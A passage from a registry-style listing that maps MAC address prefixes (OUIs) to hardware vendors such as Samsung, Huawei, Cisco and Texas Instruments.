Co.,Ltd A87C01 Samsung Electronics Co.,Ltd C01173 Samsung Electronics Co.,Ltd BCE63F Samsung Electronics Co.,Ltd B857D8 Samsung Electronics Co.,Ltd 94B10A Samsung Electronics Co.,Ltd E458B8 Samsung Electronics Co.,Ltd 088C2C Samsung Electronics Co.,Ltd B86CE8 Samsung Electronics Co.,Ltd 9C65B0 Samsung Electronics Co.,Ltd C8A823 Samsung Electronics Co.,Ltd C44202 Samsung Electronics Co.,Ltd D059E4 Samsung Electronics Co.,Ltd 64B310 Samsung Electronics Co.,Ltd 000B3B devolo AG 001D20 Comtrend Corporation 140C76 FREEBOX SAS 0024D4 FREEBOX SAS A089E4 Skyworth Digital Technology(Shenzhen) Co.,Ltd 001A9A Skyworth Digital Technology(Shenzhen) Co.,Ltd AC3A7A Roku, Inc. CC6DA0 Roku, Inc. 000D4B Roku, Inc. 001999 Fujitsu Technology Solutions GmbH 0009E1 Gemtek Technology Co., Ltd. C477AB Beijing ASU Tech Co.,Ltd 182A7B Nintendo Co., Ltd. 0024F3 Nintendo Co., Ltd. A45C27 Nintendo Co., Ltd. 001DBC Nintendo Co., Ltd. 001F32 Nintendo Co., Ltd. D8FB5E ASKEY COMPUTER CORP 544408 Nokia Corporation 0017B0 Nokia Danmark A/S 001BEE Nokia Danmark A/S 1886AC Nokia Danmark A/S 0021FE Nokia Danmark A/S 002266 Nokia Danmark A/S DCB3B4 Honeywell Environmental & Combustion Controls (Tianjin) Co., Ltd. C8D10B Nokia Corporation C8979F Nokia Corporation F4F5A5 Nokia Corporation 3CC243 Nokia Corporation 0015A0 Nokia Danmark A/S 001A16 Nokia Danmark A/S 0022FC Nokia Danmark A/S 002548 Nokia Danmark A/S 001DFD Nokia Danmark A/S 001EA3 Nokia Danmark A/S 001D98 Nokia Danmark A/S 00119F Nokia Danmark A/S 18A6F7 TP-LINK TECHNOLOGIES CO.,LTD. 246968 TP-LINK TECHNOLOGIES CO.,LTD. 8CA2FD Starry, Inc. 90A62F NAVER F4ED5F SHENZHEN KTC TECHNOLOGY GROUP 9476B7 Samsung Electronics Co.,Ltd 8C1ABF Samsung Electronics Co.,Ltd B47443 Samsung Electronics Co.,Ltd 000BA2 Sumitomo Electric Industries,Ltd 30CBF8 Samsung Electronics Co.,Ltd 40D357 Ison Technology Co., Ltd. 00351A Cisco Systems, Inc 00A0B8 NetApp 9CD48B Innolux Technology Europe BV 545AA6 Espressif Inc. DCE838 CK Telecom (Shenzhen) Limited 00CCFC Cisco Systems, Inc 2C9662 Invenit BV DC2DCB Beijing Unis HengYue Technology Co., Ltd. 3810D5 AVM Audiovisuelles Marketing und Computersysteme GmbH 1C5F2B D-Link International D8803C Anhui Huami Information Technology Company Limited 703C03 RadiAnt Co.,Ltd 583277 Reliance Communications LLC CCD3E2 Jiangsu YinheElectronics Co.,Ltd. 182195 Samsung Electronics Co.,Ltd A88195 Samsung Electronics Co.,Ltd 88ADD2 Samsung Electronics Co.,Ltd 008E73 Cisco Systems, Inc B805AB zte corporation 9C52F8 HUAWEI TECHNOLOGIES CO.,LTD 900325 HUAWEI TECHNOLOGIES CO.,LTD DC094C HUAWEI TECHNOLOGIES CO.,LTD DCEE06 HUAWEI TECHNOLOGIES CO.,LTD AC44F2 YAMAHA CORPORATION 508965 SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 808C97 Kaonmedia CO., LTD. 30B49E TP-LINK TECHNOLOGIES CO.,LTD. 349971 Quanta Storage Inc. 24615A China Mobile Group Device Co.,Ltd. A0043E Parker Hannifin Manufacturing Germany GmbH & Co. KG 5CC7D7 AZROAD TECHNOLOGY COMPANY LIMITED 001706 Techfaithwireless Communication Technology Limited. 30F6B9 Ecocentric Energy 004268 Cisco Systems, Inc 00BD82 Shenzhen YOUHUA Technology Co., Ltd 603ECA Cambridge Medical Robotics Ltd 54489C CDOUBLES ELECTRONICS CO. LTD. 54BEF7 PEGATRON CORPORATION 0C54A5 PEGATRON CORPORATION 202564 PEGATRON CORPORATION 600292 PEGATRON CORPORATION 84002D PEGATRON CORPORATION 8019FE JianLing Technology CO., LTD 58605F HUAWEI TECHNOLOGIES CO.,LTD 001188 Enterasys 1078D2 Elitegroup Computer Systems Co.,Ltd. 001E90 Elitegroup Computer Systems Co.,Ltd. 002465 Elentec 001CD7 Harman/Becker Automotive Systems GmbH 0016EC Elitegroup Computer Systems Co.,Ltd. 000D87 Elitegroup Computer Systems Co.,Ltd. 000AE6 Elitegroup Computer Systems Co.,Ltd. 945089 SimonsVoss Technologies GmbH 0016FA ECI Telecom Ltd. 003A7D Cisco Systems, Inc 844076 Drivenets 0010E0 Oracle Corporation 00144F Oracle Corporation E80959 Guoguang Electric Co.,Ltd 0090AE ITALTEL S.p.A/RF-UP-I 001E33 INVENTEC Corporation 001A29 Johnson Outdoors Marine Electronics d/b/a Minnkota 001F09 Jastec D0A4B1 Sonifex Ltd. 001DB5 Juniper Networks 00239C Juniper Networks 80711F Juniper Networks 28C0DA Juniper Networks BCAD28 Hangzhou Hikvision Digital Technology Co.,Ltd. 28F366 Shenzhen Bilian electronic CO.,LTD 8828B3 HUAWEI TECHNOLOGIES CO.,LTD C4F081 HUAWEI TECHNOLOGIES CO.,LTD 801382 HUAWEI TECHNOLOGIES CO.,LTD 648788 Juniper Networks A8D0E5 Juniper Networks 0881F4 Juniper Networks 6C3B6B Routerboard.com 7C738B Cocoon Alarm Ltd 000FE2 Hangzhou H3C Technologies Co., Limited 002389 Hangzhou H3C Technologies Co., Limited 3822D6 Hangzhou H3C Technologies Co., Limited 80F62E Hangzhou H3C Technologies Co., Limited 5866BA Hangzhou H3C Technologies Co., Limited 0CDA41 Hangzhou H3C Technologies Co., Limited 586AB1 Hangzhou H3C Technologies Co., Limited 741F4A Hangzhou H3C Technologies Co., Limited 3CCB7C TCT mobile ltd F03404 TCT mobile ltd D8E56D TCT mobile ltd 442C05 AMPAK Technology, Inc. 10BEF5 D-Link International 7C6AF3 Integrated Device Technology (Malaysia) Sdn. Bhd. C41CFF Vizio, Inc 444450 OttoQ FC55DC Baltic Latvian Universal Electronics LLC 941882 Hewlett Packard Enterprise 000EB6 Riverbed Technology, Inc. D0FCCC Samsung Electronics Co.,Ltd 045604 Gionee Communication Equipment Co.,Ltd. 10BD55 Q-Lab Corporation 8C6D50 SHENZHEN MTC CO LTD 3C6816 VXi Corporation C0A1A2 MarqMetrix 00F663 Cisco Systems, Inc 341290 Treeview Co.,Ltd. F40A4A INDUSNET Communication Technology Co.,LTD C0C976 Shenzhen TINNO Mobile Technology Corp. 14C913 LG Electronics 680715 Intel Corporate A09E1A Polar Electro Oy D0B2C4 Technicolor CH USA Inc. FC94E3 Technicolor CH USA Inc. FC528D Technicolor CH USA Inc. D84A87 OI ELECTRIC CO.,LTD BC307D Wistron Neweb Corporation 5410EC Microchip Technology Inc. 309BAD BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 001BB1 Wistron Neweb Corporation 000B6B Wistron Neweb Corporation AC9B0A Sony Corporation 4813F3 BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 74B472 CIESSE 483C0C HUAWEI TECHNOLOGIES CO.,LTD 4C6641 SAMSUNG ELECTRO-MECHANICS(THAILAND) C8755B Quantify Technology Pty. Ltd. 1C57D8 Kraftway Corporation PLC 002397 Westell Technologies Inc. 00600F Westell Technologies Inc. 00E0DD Zenith Electronics Corporation 50CE75 Measy Electronics Co., Ltd. 047D7B QUANTA COMPUTER INC. 88124E Qualcomm Inc. 649C81 Qualcomm Inc. 001B32 QLogic Corporation 001E21 Qisda Corporation 0017CA Qisda Corporation 0014D1 TRENDnet, Inc. 001C7E Toshiba 001C14 VMware, Inc. 90A210 United Telecoms Ltd E02A82 Universal Global Scientific Industrial Co., Ltd. 001641 Universal Global Scientific Industrial Co., Ltd. 4C334E HIGHTECH 001315 Sony Interactive Entertainment Inc. 001FA7 Sony Interactive Entertainment Inc. A8E3EE Sony Interactive Entertainment Inc. 709E29 Sony Interactive Entertainment Inc. FC0FE6 Sony Interactive Entertainment Inc. 0050C2 IEEE Registration Authority CC79CF SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. 141FBA IEEE Registration Authority 800A80 IEEE Registration Authority A44F29 IEEE Registration Authority 5CF286 IEEE Registration Authority 64FB81 IEEE Registration Authority E4956E IEEE Registration Authority C88ED1 IEEE Registration Authority 78C2C0 IEEE Registration Authority 885D90 IEEE Registration Authority 3C39E7 IEEE Registration Authority A0BB3E IEEE Registration Authority 6CB9C5 Delta Networks, Inc. 7CFC3C Visteon Corporation 58BC8F Cognitive Systems Corp. 54DC1D Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 3CBDD8 LG ELECTRONICS INC 4888CA Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. 74B57E zte corporation 540955 zte corporation 88A6C6 Sagemcom Broadband SAS 000F59 Phonak AG 000EF4 Kasda Networks Inc 000AEB TP-LINK TECHNOLOGIES CO.,LTD. 2C3731 SHENZHEN YIFANG DIGITAL TECHNOLOGY CO.,LTD. 001FBA Boyoung Tech C4047B Shenzhen YOUHUA Technology Co., Ltd A42940 Shenzhen YOUHUA Technology Co., Ltd 3C3300 Shenzhen Bilian electronic CO.,LTD 20F41B Shenzhen Bilian electronic CO.,LTD 3092F6 SHANGHAI SUNMON COMMUNICATION TECHNOGY CO.,LTD 7C2064 Alcatel-Lucent IPD E4A1E6 Alcatel-Lucent Shanghai Bell Co., Ltd 000B34 ShangHai Broadband Technologies CO.LTD 38256B Microsoft Mobile Oy 203AEF Sivantos GmbH 001E40 Shanghai DareGlobal Technologies Co.,Ltd 80A1D7 Shanghai DareGlobal Technologies Co.,Ltd D8FB68 Cloud Corner Ltd. C09134 ProCurve Networking by HP 4CB21C Maxphotonics Co.,Ltd D8C46A Murata Manufacturing Co., Ltd. 849866 Samsung Electronics Co.,Ltd 002162 Nortel Networks 000F06 Nortel Networks 000342 Nortel Networks 00159B Nortel Networks 00140E Nortel Networks 0016CA Nortel Networks 001969 Nortel Networks 0019E1 Nortel Networks 001A8F Nortel Networks E89309 Samsung Electronics Co.,Ltd 001988 Wi2Wi, Inc 4CFACA Cambridge Industries(Group) Co.,Ltd. 2C9D1E HUAWEI TECHNOLOGIES CO.,LTD C88D83 HUAWEI TECHNOLOGIES CO.,LTD 080087 Xyplex, Inc. 00B0B3 XSTREAMIS PLC 14825B Hefei Radio Communication Technology Co., Ltd 00562B Cisco Systems, Inc 24F57E HWH CO., LTD. 943DC9 Asahi Net, Inc. 080028 Texas Instruments 0012D2 Texas Instruments D494A1 Texas Instruments 78C5E5 Texas Instruments 847E40 Texas Instruments 001832 Texas Instruments 90D7EB Texas Instruments BC0DA5 Texas Instruments 7C8EE4 Texas Instruments D8543A Texas Instruments 884AEA Texas Instruments B09122 Texas Instruments 209148 Texas Instruments A0F6FD Texas Instruments D4F513 Texas Instruments 0017EC Texas Instruments 0017E5 Texas Instruments C83E99 Texas Instruments 8C8B83 Texas Instruments D0B5C2 Texas Instruments 84EB18 Texas Instruments 6CECEB Texas Instruments 985DAD Texas Instruments E8EB11 Texas Instruments D43639 Texas Instruments A043DB Sitael S.p.A. E4BEED Netcore Technology Inc. 84EF18 Intel Corporate 84C1C1 Juniper Networks A8A648 Qingdao Hisense Communications Co.,Ltd. 305890 Frontier Silicon Ltd 002261 Frontier Silicon Ltd 049F81 NetScout Systems, Inc. 00808C NetScout Systems, Inc. C4F5A5 Kumalift Co., Ltd. 98F058 Lynxspring, Incl. 24E43F Wenzhou Kunmei Communication Technology Co.,Ltd. 240AC4 Espressif Inc. E4C1F1 SHENZHEN SPOTMAU INFORMATION TECHNOLIGY CO., Ltd 240DC2 TCT mobile ltd 14DDE5 MPMKVVCL 0016DB Samsung Electronics Co.,Ltd 5C3C27 Samsung Electronics Co.,Ltd 10D542 Samsung Electronics Co.,Ltd A0821F Samsung Electronics Co.,Ltd C45006 Samsung Electronics Co.,Ltd 88329B SAMSUNG ELECTRO-MECHANICS(THAILAND) BC8CCD SAMSUNG ELECTRO-MECHANICS(THAILAND) 400E85 SAMSUNG ELECTRO-MECHANICS(THAILAND) EC9BF3 SAMSUNG ELECTRO-MECHANICS(THAILAND) F8042E SAMSUNG ELECTRO-MECHANICS(THAILAND) 843838 SAMSUNG ELECTRO-MECHANICS(THAILAND) 54880E SAMSUNG ELECTRO-MECHANICS(THAILAND) BC79AD Samsung Electronics Co.,Ltd 30D6C9 Samsung Electronics Co.,Ltd B0DF3A Samsung Electronics Co.,Ltd 805719 Samsung Electronics Co.,Ltd 78A873 Samsung Electronics Co.,Ltd 041BBA Samsung Electronics Co.,Ltd 08FD0E Samsung Electronics Co.,Ltd 08D42B Samsung Electronics Co.,Ltd 00E3B2 Samsung Electronics Co.,Ltd C81479 Samsung Electronics Co.,Ltd F0728C Samsung Electronics Co.,Ltd 94350A Samsung Electronics Co.,Ltd 001FCD Samsung Electronics Co.,Ltd D0DFC7 Samsung Electronics Co.,Ltd 1C62B8 Samsung Electronics Co.,Ltd 18E2C2 Samsung Electronics Co.,Ltd F04347 HUAWEI TECHNOLOGIES CO.,LTD 9CB2B2 HUAWEI TECHNOLOGIES CO.,LTD 84BE52 HUAWEI TECHNOLOGIES CO.,LTD 001A8A Samsung Electronics Co.,Ltd 002567 Samsung Electronics Co.,Ltd A8F274 Samsung Electronics Co.,Ltd B07870 Wi-NEXT, Inc. 001599 Samsung Electronics Co.,Ltd 0012FB Samsung Electronics Co.,Ltd 7CF854 Samsung Electronics Co.,Ltd 8CC8CD Samsung Electronics Co.,Ltd E81132 Samsung Electronics Co.,Ltd A02195 Samsung Electronics Co.,Ltd 840B2D SAMSUNG ELECTRO MECHANICS CO., LTD. 000278 SAMSUNG ELECTRO MECHANICS CO., LTD. F07BCB Hon Hai Precision Ind. Co.,Ltd. 4C0F6E Hon Hai Precision Ind. Co.,Ltd. 5C6D20 Hon Hai Precision Ind. Co.,Ltd. 90004E Hon Hai Precision Ind. Co.,Ltd. C0F8DA Hon Hai Precision Ind. Co.,Ltd. 485AB6 Hon Hai Precision Ind. Co.,Ltd. 083E8E Hon Hai Precision Ind. Co.,Ltd. F4B7E2 Hon Hai Precision Ind. Co.,Ltd. 4437E6 Hon Hai Precision Ind. Co.,Ltd. 0016CF Hon Hai Precision Ind. Co.,Ltd. 001C25 Hon Hai Precision Ind. Co.,Ltd. C48E8F Hon Hai Precision Ind. Co.,Ltd. 184F32 Hon Hai Precision Ind. Co.,Ltd. 441CA8 Hon Hai Precision Ind. Co.,Ltd. A8474A Hon Hai Precision Ind. Co.,Ltd. 08EDB9 Hon Hai Precision Ind. Co.,Ltd. 7CE9D3 Hon Hai Precision Ind. Co.,Ltd. E4D53D Hon Hai Precision Ind. Co.,Ltd. C417FE Hon Hai Precision Ind. Co.,Ltd. 38B1DB Hon Hai Precision Ind. Co.,Ltd. 00234D Hon Hai Precision Ind. Co.,Ltd. 00234E Hon Hai Precision Ind. Co.,Ltd. 00265E Hon Hai Precision Ind. Co.,Ltd. 541379 Hon Hai Precision Ind. Co.,Ltd. 1008B1 Hon Hai Precision Ind. Co.,Ltd. 701DC4 NorthStar Battery Company, LLC 801844 Dell Inc. C80E14 AVM Audiovisuelles Marketing und Computersysteme GmbH E0686D Raybased AB 98B039 Nokia 84262B Nokia 94E98C Nokia E48184 Nokia BC8D0E Nokia B0754D Nokia BC6B4D Nokia A47B2C Nokia 00D0F6 Nokia 48F8E1 Nokia 002341 Vanderbilt International (SWE) AB 981333 zte corporation 8C71F8 Samsung Electronics Co.,Ltd 04180F Samsung Electronics Co.,Ltd 9463D1 Samsung Electronics Co.,Ltd 0CDFA4 Samsung Electronics Co.,Ltd CC051B Samsung Electronics Co.,Ltd 68EBAE Samsung Electronics Co.,Ltd 60D0A9 Samsung Electronics Co.,Ltd 60A10A Samsung Electronics Co.,Ltd A07591 Samsung Electronics Co.,Ltd D814D6 SURE SYSTEM Co Ltd 646184 VELUX 001FCC Samsung Electronics Co.,Ltd EC01E2 FOXCONN INTERCONNECT TECHNOLOGY 00F22C Shanghai B-star Technology Co.,Ltd. D03DC3 AQ Corporation FCCAC4 LifeHealth, LLC 04BA36 Li Seng Technology Ltd 4409B8 Salcomp (Shenzhen) CO., LTD. 78888A CDR Sp. z o.o. Sp. k. F09838 HUAWEI TECHNOLOGIES CO.,LTD 18DED7 HUAWEI TECHNOLOGIES CO.,LTD EC107B Samsung Electronics Co.,Ltd A01081 Samsung Electronics Co.,Ltd 001EAE Continental Automotive Systems Inc. 8048A5 SICHUAN TIANYI COMHEART TELECOMCO.,LTD 645D92 SICHUAN TIANYI COMHEART TELECOMCO.,LTD D44165 SICHUAN TIANYI COMHEART TELECOMCO.,LTD 643AB1 SICHUAN TIANYI COMHEART TELECOMCO.,LTD AC64DD IEEE Registration Authority 00010D Teledyne DALSA Inc. F09FC2 Ubiquiti Networks Inc. 0418D6 Ubiquiti Networks Inc. 44D9E7 Ubiquiti Networks Inc. 48DA96 Eddy Smart Home Solutions Inc. 503AA0 SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. C025E9 TP-LINK TECHNOLOGIES CO.,LTD. 50B363 Digitron da Amazonia S/A 94B819 Nokia A4D9A4 neXus ID Solutions AB 484D7E Dell Inc. F4B549 Xiamen Yeastar Information Technology Co., Ltd. 28EED3 Shenzhen Super D Technology Co., Ltd 18F292 Shannon Systems 3C3F51 2CRSI F4F524 Motorola Mobility LLC, a Lenovo Company 50584F waytotec,Inc. 00A2EE Cisco Systems, Inc 98E476 Zentan 18F76B Zhejiang Winsight Technology CO.,LTD 00609B AstroNova, Inc B87CF2 Aerohive Networks Inc. C413E2 Aerohive Networks Inc. F09CE9 Aerohive Networks Inc. CCC5EF Co-Comm Servicios Telecomunicaciones S.L. 5C6B4F Hello Inc. C09C04 Shaanxi GuoLian Digital TV Technology Co.,Ltd. D0F73B Helmut Mauell GmbH Werk Weida D00AAB Yokogawa Digital Computer Corporation AC233F Shenzhen Minew Technologies Co., Ltd. E0508B Zhejiang Dahua Technology Co., Ltd. 2C6FC9 Hon Hai Precision Ind. Co.,Ltd. 9C99A0 Xiaomi Communications Co Ltd 185936 Xiaomi Communications Co Ltd 98FAE3 Xiaomi Communications Co Ltd 640980 Xiaomi Communications Co Ltd 8CBEBE Xiaomi Communications Co Ltd F8A45F Xiaomi Communications Co Ltd 508A0F SHENZHEN FISE TECHNOLOGY HOLDING CO.,LTD. E4B005 Beijing IQIYI Science & Technology Co., Ltd. C83B45 JRI 1CEEC9 Elo touch solutions 4CB81C SAM Electronics GmbH 2CDCAD Wistron Neweb Corporation 704D7B ASUSTek COMPUTER INC. 7CF95C U.I. Lapp GmbH 743A65 NEC Corporation C80CC8 HUAWEI TECHNOLOGIES CO.,LTD 0425C5 HUAWEI TECHNOLOGIES CO.,LTD A4EE57 Seiko Epson Corporation 480033 Technicolor CH USA Inc. 14B31F Dell Inc. BC8385 Microsoft Corporation A03D6F Cisco Systems, Inc 40605A Hawkeye Tech Co. Ltd C0210D SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. 000678 D&M Holdings Inc. 886B44 Sunnovo International Limited A408F5 Sagemcom Broadband SAS 54FA96 Nokia 1840A4 Shenzhen Trylong Smart Science and Technology Co., Ltd. 9C50EE Cambridge Industries(Group) Co.,Ltd. F015B9 PlayFusion Limited 24A7DC BSkyB Ltd 2CD02D Cisco Systems, Inc 3478D7 Gionee Communication Equipment Co.,Ltd. 1CEFCE bebro electronic GmbH CCB8A8 AMPAK Technology, Inc. 5CFF35 Wistron Corporation 78F29E PEGATRON CORPORATION 00D0B2 Xiotech Corporation 000AE4 Wistron Corporation 00262D Wistron Corporation 908674 SICHUAN TIANYI COMHEART TELECOMCO., LTD F49651 NAKAYO Inc 681FD8 Siemens Industry, Inc. C43018 MCS Logic Inc. FCB58A Wapice Ltd. DCEFCA Murata Manufacturing Co., Ltd. E865D4 Tenda Technology Co.,Ltd.Dongguan branch 285261 Cisco Systems, Inc 286F7F Cisco Systems, Inc 089E08 Google, Inc. 00014F Adtran Inc 045D4B Sony Corporation A80CCA Shenzhen Sundray Technologies Company Limited 94652D OnePlus Technology (Shenzhen) Co., Ltd F8A34F zte corporation 845A81 ffly4u 347877 O-Net Communications (Shenzhen) Limited F483E1 Shanghai Clouder Semiconductor Co.,Ltd 8CC8F4 IEEE Registration Authority 08CCA7 Cisco Systems, Inc 7868F7 YSTen Technology Co.,Ltd 704F57 TP-LINK TECHNOLOGIES CO.,LTD. 3407FB Ericsson AB 6CB4A7 Landauer, Inc. F8A5C5 Cisco Systems, Inc A49B13 Digital Check 542F8A TELLESCOM INDUSTRIA E COMERCIO EM TELECOMUNICACAO DCC64B HUAWEI TECHNOLOGIES CO.,LTD 043389 HUAWEI TECHNOLOGIES CO.,LTD A0A33B HUAWEI TECHNOLOGIES CO.,LTD 6854C1 ColorTokens, Inc. 887873 Intel Corporate 6C750D WiFiSONG E45D51 SFR 346E9D Ericsson AB B816DB CHANT SINCERE CO.,LTD D461FE Hangzhou H3C Technologies Co., Limited 54E1AD LCFC(HeFei) Electronics Technology co., ltd 94F551 Cadi Scientific Pte Ltd BC452E Knowledge Development for POF S.L. E8D11B ASKEY COMPUTER CORP 44032C Intel Corporate 14987D Technicolor CH USA Inc. D4CF37 Symbolic IO F0D2F1 Amazon Technologies Inc. 8871E5 Amazon Technologies Inc. F0A225 Private E048AF Premietech Limited 2C3311 Cisco Systems, Inc 503A7D AlphaTech PLC Int’l Co., Ltd. 9CFCD1 Aetheris Technology (Shanghai) Co., Ltd. 949901 Shenzhen YITOA Digital Appliance CO.,LTD D8A105 Syslane, Co., Ltd. C4B9CD Cisco Systems, Inc 10954B Megabyte Ltd. 900628 Samsung Electronics Co.,Ltd C4700B GUANGZHOU CHIP TECHNOLOGIES CO.,LTD D4AE05 Samsung Electronics Co.,Ltd 3C0518 Samsung Electronics Co.,Ltd 04946B TECNO MOBILE LIMITED A04C5B Shenzhen TINNO Mobile Technology Corp. 98DDEA Infinix mobility limited 2C029F 3ALogics 58D9D5 Tenda Technology Co.,Ltd.Dongguan branch 60E78A UNISEM 6C5976 Shanghai Tricheer Technology Co.,Ltd. F4A739 Juniper Networks 2CFAA2 Alcatel-Lucent Enterprise 00D095 Alcatel-Lucent Enterprise 4095BD NTmore.Co.,Ltd 2CABEB Cisco Systems, Inc BC66DE Shadow Creator Information Technology Co.,Ltd. A0086F HUAWEI TECHNOLOGIES CO.,LTD C4FF1F HUAWEI TECHNOLOGIES CO.,LTD 7C7B8B Control Concepts, Inc. C40BCB Xiaomi Communications Co Ltd D8C06A Hunantv.com Interactive Entertainment Media Co.,Ltd. 9C32A9 SICHUAN TIANYI COMHEART TELECOMCO., LTD 601466 zte corporation 30D386 zte corporation 900E83 Monico Monitoring, Inc. E8BBA8 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD BC3AEA GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 8C0EE3 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 6C5C14 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD F894C2 Intel Corporate 7CB960 Shanghai X-Cheng telecom LTD A8D579 Beijing Chushang Science and Technology Co.,Ltd 28C63F Intel Corporate 600837 ivvi Scientific(Nanchang)Co.Ltd D860B3 Guangdong Global Electronic Technology CO.,LTD 3C9509 Liteon Technology Corporation 44B412 SIUS AG 3CA308 Texas Instruments 60D7E3 IEEE Registration Authority 00F82C Cisco Systems, Inc 00C1B1 Cisco Systems, Inc D0F88C Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. 2CB115 Integrated Device Technology (Malaysia) Sdn. Bhd. 78ABBB Samsung Electronics Co.,Ltd 1816C9 Samsung Electronics Co.,Ltd FC8F90 Samsung Electronics Co.,Ltd 244B03 Samsung Electronics Co.,Ltd 988389 Samsung Electronics Co.,Ltd 14BB6E Samsung Electronics Co.,Ltd 1C3ADE Samsung Electronics Co.,Ltd F83F51 Samsung Electronics Co.,Ltd D8E0E1 Samsung Electronics Co.,Ltd 50FF20 Keenetic Limited ECF342 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD D4C1C8 zte corporation EC237B zte corporation 881544 Cisco Meraki F44156 Arrikto Inc. D4258B Intel Corporate 00E18C Intel Corporate 145E45 Kaleao Limited 88D7F6 ASUSTek COMPUTER INC. 1C1FD4 LifeBEAM Technologies LTD 88BD78 Flaircomm Microelectronics,Inc. 5092B9 Samsung Electronics Co.,Ltd B4BFF6 Samsung Electronics Co.,Ltd C8D7B0 Samsung Electronics Co.,Ltd 60720B BLU Products Inc F4A997 CANON INC. 3C4CD0 CERAGON NETWORKS B04E26 TP-LINK TECHNOLOGIES CO.,LTD. FC06ED M2Motive Technology Inc. 54C9DF FN-LINK TECHNOLOGY LIMITED 30C3D9 ALPS ELECTRIC CO.,LTD. FC4D8C SHENZHEN PANTE ELECTRONICS TECHNOLOGY CO., LTD B01F29 Helvetia INC. 8C147D IEEE Registration Authority 28070D GUANGZHOU WINSOUND INFORMATION TECHNOLOGY CO.,LTD. 7038EE Avaya Inc 2CF4C5 Avaya Inc C8F406 Avaya Inc 3CB15B Avaya Inc FCA841 Avaya Inc 50CD22 Avaya Inc 10CDAE Avaya Inc B0ADAA Avaya Inc 00549F Avaya Inc 6049C1 Avaya Inc E0D848 Dell Inc. 00187D Armorlink Co .Ltd F42981 vivo Mobile Communication Co., Ltd. 3CA348 vivo Mobile Communication Co., Ltd. A40E2B Facebook Inc 28FAA0 vivo Mobile Communication Co., Ltd. 3CB6B7 vivo Mobile Communication Co., Ltd. 5419C8 vivo Mobile Communication Co., Ltd. F4B7B3 vivo Mobile Communication Co., Ltd. A0C5F2 IEEE Registration Authority 1C4D70 Intel Corporate E43A6E Shenzhen Zeroone Technology CO.,LTD 60DA83 Hangzhou H3C Technologies Co., Limited 2C5731Wingtech Group (HongKong)Limited F46BEF Sagemcom Broadband SAS 085114 QINGDAO TOPSCOMM COMMUNICATION CO., LTD D05A00 Technicolor CH USA Inc. 70F11C Shenzhen Ogemray Technology Co.,Ltd 14144B Ruijie Networks Co.,LTD 70DF2F Cisco Systems, Inc 6447E0 Feitian Technologies Co., Ltd 001753 nFore Technology Inc. F88A3C IEEE Registration Authority 58C583 ITEL MOBILE LIMITED E86D65 AUDIO MOBIL Elektronik GmbH E86FF2 Actiontec Electronics, Inc 00016D CarrierComm Inc. F0B052 Ruckus Wireless 84183A Ruckus Wireless 6CAAB3 Ruckus Wireless C4017C Ruckus Wireless 70DEF9 FAI WAH INTERNATIONAL (HONG KONG) LIMITED 001F41 Ruckus Wireless C08ADE Ruckus Wireless 50A733 Ruckus Wireless 24C9A1 Ruckus Wireless 245880 VIZEO 7CBACC IEEE Registration Authority 000726 SHENZHEN GONGJIN ELECTRONICS CO.,LT BC9680 SHENZHEN GONGJIN ELECTRONICS CO.,LT 1CA532 SHENZHEN GONGJIN ELECTRONICS CO.,LT 0000FE Annapolis Micro Systems, Inc. 188090 Cisco Systems, Inc BC024A HMD Global Oy 90A365 HMD Global Oy C444A0 Cisco Systems, Inc F83441 Intel Corporate 5C0339 HUAWEI TECHNOLOGIES CO.,LTD 044F4C HUAWEI TECHNOLOGIES CO.,LTD 1C151F HUAWEI TECHNOLOGIES CO.,LTD DCEB53 Wuhan QianXiao Elecronic Technology CO.,LTD 94E36D Texas Instruments 74819A PT. Hartono Istana Teknologi 0835B2 CoreEdge Networks Co., Ltd 6C38A1 Ubee Interactive Co., Limited B40F3B Tenda Technology Co.,Ltd.Dongguan branch 1062D0 Technicolor CH USA Inc. 7802B1 Cisco Systems, Inc 309935 zte corporation 94D9B3 TP-LINK TECHNOLOGIES CO.,LTD. 409BCD D-Link International 005C86 SHENZHEN FAST TECHNOLOGIES CO.,LTD 1CAB34 New H3C Technologies Co., Ltd 5C0979 HUAWEI TECHNOLOGIES CO.,LTD 002EC7 HUAWEI TECHNOLOGIES CO.,LTD 488EEF HUAWEI TECHNOLOGIES CO.,LTD 002438 Brocade Communications Systems, Inc. 001BED Brocade Communications Systems, Inc. 0012F2 Brocade Communications Systems, Inc. 04A151 NETGEAR A42B8C NETGEAR A00460 NETGEAR 9C3DCF NETGEAR 2CB05D NETGEAR 504A6E NETGEAR 28C68E NETGEAR 2C3033 NETGEAR 00146C NETGEAR 741C27 ITEL MOBILE LIMITED 111111 Private FCC233 Private 2830AC Frontiir Co. Ltd. 9050CA Hitron Technologies. Inc 0004BF VersaLogic Corp. D8B12A Panasonic Mobile Communications Co.,Ltd. 64B5C6 Nintendo Co.,Ltd A41115 Robert Bosch Engineering and Business Solutions pvt. Ltd. EC0441 ShenZhen TIGO Semiconductor Co., Ltd. BC88C3 Ningbo Dooya Mechanic & Electronic Technology Co., Ltd 681F40 Blu Wireless Technology Ltd 48C58D Lear Corporation GmbH 90ADF7 vivo Mobile Communication Co., Ltd. 982D68 Samsung Electronics Co., Ltd 2CD2E7 Nokia Corporation 00152A Nokia Corporation 5CEA1D Hon Hai Precision Ind. Co.,Ltd. A43412 Thales Alenia Space ECD09F Xiaomi Communications Co Ltd 9C65EE DASAN Network Solutions 80739F KYOCERA CORPORATION 3889DC Opticon Sensors Europe B.V. 38E2DD zte corporation 74E5F9 Intel Corporate 0017C8 KYOCERA Display Corporation 002294 KYOCERA CORPORATION 3C11B2 Fraunhofer FIT 080070 Mitsubishi Precision Co.,LTd. DCF090 Nubia Technology Co.,Ltd. DC6AEA Infinix mobility limited 0025DF Private D8A01D Espressif Inc. 8CE38E Toshiba Memory Corporation 74EAC8 New H3C Technologies Co., Ltd A434F1 Texas Instruments C4F312 Texas Instruments 